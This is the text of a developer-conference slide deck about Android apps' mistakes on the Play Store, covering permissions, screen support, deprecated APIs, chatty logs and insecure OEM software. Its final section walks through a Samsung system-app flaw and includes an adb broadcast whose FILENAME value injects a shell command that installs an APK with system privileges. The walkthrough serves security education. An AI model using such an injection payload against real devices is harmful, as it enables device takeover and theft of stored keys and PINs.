PlayStore bashing: learn from the biggest fails on the Google Play Store

PLAY STORE BASHING
LEARN FROM THE BIGGEST
FAILS

Eyal LEZMY

SLIDES

http://bit.ly/andbigfails
http://eyal.fr

01

IT ALL STARTS ON THE
PLAY STORE

MINIMISE PERMISSIONS

Users should
prefer apps
requesting the
least
permissions

Request only what your app
requires
1/3 of apps request more permissions
than they need


Users should
prefer apps
requesting the
least
permissions

You don’t need permission
Use ContentProviders


Permission are not required to
launch another activity that has
the permission


Need a
contact?


Use the force,
Luke

Start the contact app

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType(Phone.CONTENT_ITEM_TYPE);
startActivityForResult(intent, MY_REQUEST_CODE);

void onActivityResult(int requestCode, int resultCode, Intent
data) {
if (data != null) {
Uri uri = data.getData();
if (uri != null) {
Cursor c = getContentResolver().query(uri, new String[]
{Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);}
}
}
}

Start the contact app

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType(Phone.CONTENT_ITEM_TYPE);
startActivityForResult(intent, MY_REQUEST_CODE);

void onActivityResult(int requestCode, int resultCode, Intent
data) {
if (data != null) {
Uri uri = data.getData();
if (uri != null) {
Cursor c = getContentResolver().query(uri, new String[]
{Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);}
}
}
}

Handle the result


Need an
UUID?


Need an
UUID?

TelephonyManager.getDeviceId()
Requires READ_PHONE_STATE permission


Need an
UUID?


Settings.Secure.ANDROID_ID
Reset at every wipe
Not applicable on multi user environment


Need an
UUID?


Settings.Secure.ANDROID_ID
Reset at every wipe
Not applicable on multi user environment

NO!


Need an
UUID?

Generate your own UUID and use
Backup API !
String id = UUID.randomUUID().
toString();


Need an
UUID?

Generate your own UUID and use
Backup API !
String id = UUID.randomUUID().
toString();

YES!


Android Backup API
· API is available on all Android devices.
· Manufacturors can implements their own
transport and storage for the API
· Each device as its own backup data
· A new device will take a backup from a device
associated with your google account.
· IT'S NOT A SYNC API !

LOOK AND FEEL

HOTMAIL

OUTLOOK.COM

LOOK AND FEEL

SAME!

HOTMAIL

OUTLOOK.COM

LOOK AND FEEL

FOLLOW THE GUIDELINES!
http://d.android.com/design

LOOK AND FEEL

Redesigned by Taylor Ling

LOOK AND FEEL

PLEASE!

FOLLOW THE GUIDELINES!
http://d.android.com/design

XBOX MUSIC
Emulator
(last devices configuration)

XBOX MUSIC
Emulator
Nexus 7
S4
Nexus 10

Mega

XBOX MUSIC
Emulator
Nexus 7
S4
Nexus 10

Mega

XCover (Android 2.3)

XBOX MUSIC
Emulator
Nexus 7
S4
Nexus 10

Mega


Tablets

XBOX MUSIC
Emulator
Nexus 7
S4
Nexus 10
Note 2
S3
Mega
Galaxy Nexus
Note 1

Tablets

XBOX MUSIC

Brand New devices

Our
Nutshell

S4, Mega, HTC One, Xperia Z, ...

Tablets
Nexus 7/10, Tab2, Tab3, Note 10.1, …

Old devices
XCover

Not compatible

XBOX MUSIC

Main stream devices

Our
Nutshell

S3, Galaxy Nexus, Note2, Note1, ...

Compatible

XBOX MUSIC

The dark side
of the force,
Luke

XBOX MUSIC

Let’s look
into the
Manifest

XBOX MUSIC

<uses-sdk android:minSdkVersion="
14"
android:targetSdkVersion="
14" />

XBOX MUSIC

Exclude the old devices

14"
14" />

XBOX MUSIC

Exclude the old devices

14"
14" />

Not recommended (sept. 2013)

XBOX MUSIC

<compatible-screens>
<screen android:screenSize="small" android:screenDensity="ldpi" />
<screen android:screenSize="small" android:screenDensity="mdpi" />
<screen android:screenSize="small" android:screenDensity="hdpi" />
<screen android:screenSize="small" android:screenDensity="xhdpi" />
<screen android:screenSize="normal" android:screenDensity="ldpi" />
<screen android:screenSize="normal" android:screenDensity="mdpi" />
<screen android:screenSize="normal" android:screenDensity="hdpi" />
<screen android:screenSize="normal" android:screenDensity="xhdpi" />
</compatible-screens>

XBOX MUSIC


Exclude tablets

XBOX MUSIC


Exclude tablets

Exclude brand new devices
(XXHDPI screens)

XBOX MUSIC


Exclude tablets

Exclude brand new devices
(XXHDPI screens)

Too restrictive!

XBOX MUSIC

<
>

“You should not use this element”
It can dramatically reduce the potential user base
for your application

compatible-screens

“Use it only as a last resort”
When the application absolutely does not work
with specific screen configurations

“Instead, follow the guide to
Supporting Multiple Screens”

XBOX MUSIC

<
>

compatible-screens

It does not accept xxhdpi
But you can instead specify 480 as the value

XBOX MUSIC

Nothing seems tricky...

XBOX MUSIC

XXHDPI
7.7% of Android devices

XXHDPI

XBOX MUSIC

Tablets
11.2% of Android devices

XXHDPI

XBOX MUSIC

Missing targets
18,9% of the market

XXHDPI

XBOX MUSIC

The
Mistakes

Have they tested on new devices?
Ignoring the power users
Brand new devices are bought by power users
and early adopters

Does not support preloading
music
The app is not prefectly opimized for mobility.
Why ignoring nomad devices like tablets?

XBOX MUSIC

A day after
They updated
the app

XBOX MUSIC

14"
18" />

<supports-screens
android:smallScreens="true"
android:normalScreens="true"
android:largeScreens="false"
android:xlargeScreens="false" />

XBOX MUSIC

14"
18" />

<supports-screens
android:smallScreens="true"

HURRAY
android:xlargeScreens="false" />
!!
android:normalScreens="true"
android:largeScreens="false"

MICROSOFT OFFICE

Follows the guidelines… This time

MICROSOFT OFFICE

Not that bad
But it could be better

MICROSOFT OFFICE

Fight the
confusion

Office 365 offer is quite confusing
People used to buy Office licenses, not to
subscribe to an Office service

They try to avoid confusion

MICROSOFT OFFICE

The title is clear

MICROSOFT OFFICE

Is it enough explicit?

MICROSOFT OFFICE

Does not support tablet format

Problem

A producting app has to be compatible with big
screens formats

MICROSOFT OFFICE

Does not support tablet format

Problem

A producting app has to be compatible with big
screens formats

- The app is optimized for a phone
- On tablet, you can use the Office Webapps
- We plan to enable editing with Webapps
Microsoft’s answer on PlayStore

MICROSOFT OFFICE

Other
problems

Less features than the competitors
Does not support local files
Does not support edition

The backend seems not very ready
I have been stuck during 24 hours at the mobile
activation, and I’m not alone

MICROSOFT OFFICE

Adapt your UI to screen sizes
depending on your features

Conclusion
Differenciate your service from
competitors
Especially when you are new on the market

Your backend have to support
your mobile distribution

MICROSOFT OFFICE

One more
thing!

MICROSOFT OFFICE

Check out
the
Manifest

MICROSOFT OFFICE

<uses-sdk android:minSdkVersion="14"
android:targetSdkVersion="16" />

<uses-permission android:name="android.permission.READ_LOGS"/>

MICROSOFT OFFICE

They support ICS+


MICROSOFT OFFICE

They support ICS+


Read sensitive log data

MICROSOFT OFFICE

Accepts READ_LOGS
38% of the supported devices

XXHDPI
Ignore READ_LOGS
Jelly Bean removed this feature

MICROSOFT OFFICE

Don’t do
this

Why scaring 100% of your users?
To use a feature with 38% of them

Avoid using deprecated functions
As much as possible

YAHOO WEATHER

Very good score

YAHOO WEATHER

Is it
perfect?

Hell no!

YAHOO WEATHER

« Try not.
Do.
Or do not.
There is no try. »

YAHOO WEATHER

« Try not.
Do.
Or do not.
There is no try. »
YODA

YAHOO WEATHER

Where is my
status bar?

YAHOO WEATHER

Hide
status bar

Show
status bar

Immersive experience

Multitasking

Games, Books, Videos

Everything else

YAHOO WEATHER

When do
you check
the
weather?

Morning?
- Choosing your clothes
- Eating your breakfast
- Checking your emails
- Looking after your kids

YAHOO WEATHER

When do
you check
the
weather?

Morning?
- Choosing your clothes
- Eating your breakfast
- Checking your emails
- Looking after your kids

This is multitasking!

YAHOO WEATHER

Youtube
An immersive app

No status bar

YAHOO WEATHER

It allows multitasking
Inside the app

Playing video

YAHOO WEATHER
Samsung Video Player

YAHOO WEATHER
Samsung Video Player
Popup play

YAHOO WEATHER

About the
context you
have to think

FACEBOOK

Under the
hood

Too much methods
LinearAlloc buffer overflow

March 2013

Solution is to divide the code into
several dex files
And load it on demand

FACEBOOK

Under the
hood
March 2013

Facebook app source code was not
enough modular to allow this at
application level
“Too many of our classes are accessed directly by
the Android framework”

They had to do it at system level,
thanks to reflection
“We needed to inject our secondary dex files
directly into the system class loader”

FACEBOOK

« More backwards compatibility for
Facebook.
Another day, another private field
accessed. »

FACEBOOK

« More backwards compatibility for
Facebook.
Another day, another private field
accessed. »
GIT COMMENT
ANDROID SOURCE CODE
January 2013

FACEBOOK

Android source code - DexPathList.java
Commit January 2013

/**
* List of dex/resource (class path) elements.
* Should be called pathElements, but the Facebook app uses reflection
* to modify 'dexElements' (http://b/7726934).
*/
private final Element[] dexElements;

FACEBOOK
Android code review
January 2013

Patch set 2

lets facebook start (at least judging by logcat output)

After manual testing

facebook starts, though i don't have an account.

FACEBOOK

This was
not enough

They finally patched Dalvik VM
Using native hot fix to change the LinearAlloc buffer
size

FACEBOOK

In a
nutshell

Modularity saves lifes
Google seems to test some popular
apps during integration
So they don’t break the system apps

Google hires engineers when
Facebook hires sculptors
Inspired by Sayo Oladeji

FACEBOOK HOME

Several services supported

FACEBOOK HOME

The
problem

The launcher is too simple
No folder
No widget
No dock (during first months)

It used to be mandatory
Lockscreen + Launcher

FACEBOOK HOME

Opens default
launcher

FACEBOOK HOME

Spot the odd one out

FACEBOOK HOME

Conclusion

Keep the platform spirit
To override native OS elements you need first to
implement all the basic features the user use to use

Identify your weakest points
And prepare how to limit their impact

CANAL+ TOUCH
This is the logcat

Request: https://canalURL.com/1.5/getThmChannel.php...
Request: https://canalURL.com/1.5/getProgramThm.php...
Request: https://canalURL.com/1.4/programRediff.php...
Request: https://canalURL.com/1.5/VOD.php?release=1...
json response : {"token":{"url":"http://download....
Request: https://canalURL.com/1.4/getChannel.php?SE...
json response: {"token":{"url":"https://canalURL....
Request: https://canalURL.com/1.5/guideTvChannel.ph...
Request: https://canalURL.com/1.5/programInfo.php?U...
Request: https://canalURL.com/1.5/myTv.php?release=...

CANAL+ TOUCH

Chatty logs

Make reverse engineering easier
HTTPS connexion
PHP backend
All the URLS and parameters are known
Some of the response are known too

CANAL+ TOUCH

Chatty logs

Can bring really big security
breaches

CANAL+ TOUCH

This is always the logcat

https://canalURL.com/1.5/authentification.php?
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

This is always the logcat

Wait
login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...
WHAT ?!

https://canalURL.com/1.5/authentification.php?

CANAL+ TOUCH

Shut the
fuck up!

Control your log output
Easy method with BuildConfig.DEBUG

Never send clear password over
the network
NEVAAAAAAA!!!!

CANAL+ TOUCH

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

public static void d(final String tag, final String msg) {
if (SHOW_LOG)
Log.d(tag, msg);
}

Avoid the leak, easily

CANAL+ TOUCH

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

public static void d(final String tag, final String msg) {
if (SHOW_LOG)
Log.d(tag, msg);
}

Avoid the leak, easily

And test it during QA

OEM SOFTWARE

The
Android
framework

Many APKs
Implement the features

Often have system access
To use low level features

OEM SOFTWARE

Android OEM
applications
(in)security
Talk by ANDRE MOULU
Quarkslab

OEM SOFTWARE

Methodology

Reverse engineering
Using Androguard

A custom result environment
Manifest analysis
Check for sensitive API usage
Diff between OS version (to find patches)

OEM SOFTWARE

The results
on Samsung
devices

12 vulnerabilities found
Leak personal information
Access non-permited features
Silent SMS control
Code injection
...

Similar vulnerabilities on many
constructors

OEM SOFTWARE

Search for

sharedUserId = system
Sensitive user ID

Command execution
Sensitive usage

Find serviceModeApp.apk
= Very sensitive app !

OEM SOFTWARE

<receiver name=".FTATDumpReceiver">
<intent-filter>
<action name="com.android.sec.FTAT_DUMP"></action>
</intent-filter>
</receiver>
<receiver name=".FTATDumpReceiver"
permission="...servicemodeapp.permission.KEYSTRING">
<intent-filter>
<action name="com.android.sec.FAILDUMP"></action>
</intent-filter>
</receiver>

Receiver declared twice

OEM SOFTWARE

<intent-filter>
</intent-filter>
</receiver>
<intent-filter>
</intent-filter>
</receiver>

Permission asked for this action

OEM SOFTWARE

<intent-filter>
</intent-filter>
</receiver>
<intent-filter>
</intent-filter>
</receiver>

No permission needed for this action!!

OEM SOFTWARE
public void onReceive(Context paramContext, Intent
paramIntent) {
String str1 = paramIntent.getAction();
if (str1.equals("com.android.sec.FTAT_DUMP"))
{
String str3 = "FTAT_" +
paramIntent.getStringExtra("FILENAME");
[...]
String str9 = str8 + [...]
Intent localIntent2 = new Intent(paramContext,
FTATDumpService.class);
localIntent2.putExtra("FILENAME", str9);
paramContext.startService(localIntent2);
}
[...]
}
We read the FTATDumpReceiver source code

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Intercepts the FTAT_DUMP action

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Concats the FILENAME extra to str3

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Other concatenations follow

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Prepares an intent to FTATDumpService

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Adds the final string to the intent

OEM SOFTWARE
paramIntent) {
{
[...]
}
[...]
}
Starts the FTATDumpService with our
FILENAME parameter as extra

OEM SOFTWARE

public int onStartCommand(Intent paramIntent, ...){
final String str = paramIntent.getStringExtra("FILENAME");
[...]
new Thread(new Runnable(){
public void run(){
[...]
if(FTATDumpService.this.
DoShellCmd("dumpstate > /data/log/" + str + ".log"))
FTATDumpService.this.mHandler.sendEmptyMessage(1015);
[...]
}
}).start();
return 0;
}
We read then the FTATDumpService source code

OEM SOFTWARE

[...]
public void run(){
[...]
[...]
}
}).start();
return 0;
}
Extracts the FILENAME extra to str

OEM SOFTWARE

[...]
public void run(){
[...]
[...]
}
}).start();
return 0;
}
Opens and starts a new thread

OEM SOFTWARE

[...]
public void run(){
[...]
[...]
}
}).start();
return 0;
}
Seems to “do a shell command” with our
FILENAME parameter concatenated

OEM SOFTWARE

private boolean DoShellCmd(String paramString){
[...]
String[] arrayOfString = new String[3];
arrayOfString[0] = "/system/bin/sh";
arrayOfString[1] = "-c";
arrayOfString[2] = paramString;
[...]
Runtime.getRuntime().exec(arrayOfString).waitFor();
[...]
return true;
}

This is DoShellCmd function

OEM SOFTWARE

[...]
[...]
[...]
return true;
}

And runs it

Creates a shell command

OEM SOFTWARE

[...]
[...]
[...]
return true;
}

And our FILENAME parameter is still not modified

OEM SOFTWARE

[...]
[...]
[...]
return true;
}

BINGO!

And our FILENAME parameter is still not modified

OEM SOFTWARE

Access to

All permissions declared by
system apps
156 for this case

All files belonging to system user
Wifi keys
Password, PIN, gesture storage
...

OEM SOFTWARE

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP
--es FILENAME '../../../../../dev/null;
/system/bin/pm install an.apk;
#'
Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has
extras) }
Broadcast completed : result=0

A simple broadcast for FTAT_DUMP action

OEM SOFTWARE

#'
extras) }
We declare the FILENAME argument

OEM SOFTWARE

#'
extras) }
We point the destination file to null

OEM SOFTWARE

#'
extras) }
We execute our system command

OEM SOFTWARE

Moral of
the story

It happens at application level
Look after your app’s backdoors
Don’t export local services
Use a strict permission model

Consider every input as a threat
Escape all sensitive parameters you receive

Thank You for your time !

SLIDES
http://bit.ly/andbigfails

http://eyal.fr

PlayStore bashing: learn from the biggest fails on the Google Play Store

Recommended

Recommended

More Related Content

Viewers also liked

Viewers also liked (7)

Similar to PlayStore bashing: learn from the biggest fails on the Google Play Store

Similar to PlayStore bashing: learn from the biggest fails on the Google Play Store (20)

Recently uploaded

Recently uploaded (20)

PlayStore bashing: learn from the biggest fails on the Google Play Store